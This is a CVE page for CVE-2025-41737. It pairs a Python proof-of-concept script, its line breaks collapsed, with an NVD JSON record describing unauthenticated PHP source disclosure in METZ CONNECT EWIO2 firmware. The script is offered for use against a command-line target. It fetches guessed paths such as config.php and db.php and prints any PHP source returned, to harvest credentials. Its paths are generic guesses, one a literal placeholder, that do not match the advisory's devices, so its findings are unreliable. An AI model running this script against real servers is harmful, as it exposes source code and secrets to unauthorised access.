CVE-2025-41737

import requests import sys # CVE-2025-41737 PoC - PHP Source Code Disclosure # Target: Web servers with misconfigured PHP module handling def check_vulnerability(target_url): """Check if target is vulnerable to PHP source disclosure""" # Common PHP module paths to test paths = [ '/includes/config.php', '/lib/database.php', '/modules/auth.php', '/admin/db.php', '/api/endpoint.php', '/core/init.php', '/path/to/module.php' ] vulnerable_paths = [] for path in paths: url = target_url.rstrip('/') + path try: response = requests.get(url, timeout=10) # Check if response contains PHP source code if response.status_code == 200: content = response.text # PHP source code indicators if '<?php' in content and ('<?=' in content or 'function' in content): vulnerable_paths.append({ 'path': path, 'status': response.status_code, 'snippet': content[:200] }) print(f"[+] VULNERABLE: {url}") print(f" Source code snippet: {content[:100]}...") except requests.exceptions.RequestException as e: print(f"[-] Error testing {path}: {e}") return vulnerable_paths def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-41737.py <target_url>") print("Example: python cve-2025-41737.py http://target.com") sys.exit(1) target = sys.argv[1] print(f"[*] Scanning target: {target}") print(f"[*] CVE-2025-41737 - PHP Source Disclosure\n") results = check_vulnerability(target) if results: print(f"\n[!] Found {len(results)} vulnerable path(s)") print("[!] Exposed source code may contain credentials and sensitive data") else: print("\n[-] No vulnerable paths found or target not affected") if __name__ == '__main__': main()

{"cve": {"id": "CVE-2025-41737", "sourceIdentifier": "[email protected]", "published": "2025-11-18T11:15:47.600", "lastModified": "2025-11-21T19:15:12.837", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to webserver misconfiguration an unauthenticated remote attacker is able to read the source of php modules."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:metz-connect:ewio2-m_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2.0", "matchCriteriaId": "7013D45A-B3DD-4110-A0FF-D0C01B859A37"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:metz-connect:ewio2-m:-:*:*:*:*:*:*:*", "matchCriteriaId": "892DDE15-8FE1-4D57-BCB6-5DFAC1F6826C"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:metz-connect:ewio2-m-bm_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2.0", "matchCriteriaId": "05FE24BB-6605-444F-ACFF-D2FD2B70C05E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:metz-connect:ewio2-m-bm:-:*:*:*:*:*:*:*", "matchCriteriaId": "8A515C34-A698-47EF-B542-EAA491AE6CBA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:metz-connect:ewio2-bm_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2.0", "matchCriteriaId": "DD9B7323-4C67-4DAC-905F-DDE5D6BD9D80"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:metz-connect:ewio2-bm:-:*:*:*:*:*:*:*", "matchCriteriaId": "C7E4CCBC-35EE-4683-A039-55ABEE27E809"}]}]}], "references": [{"url": "https://certvde.com/de/advisories/VDE-2025-097", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}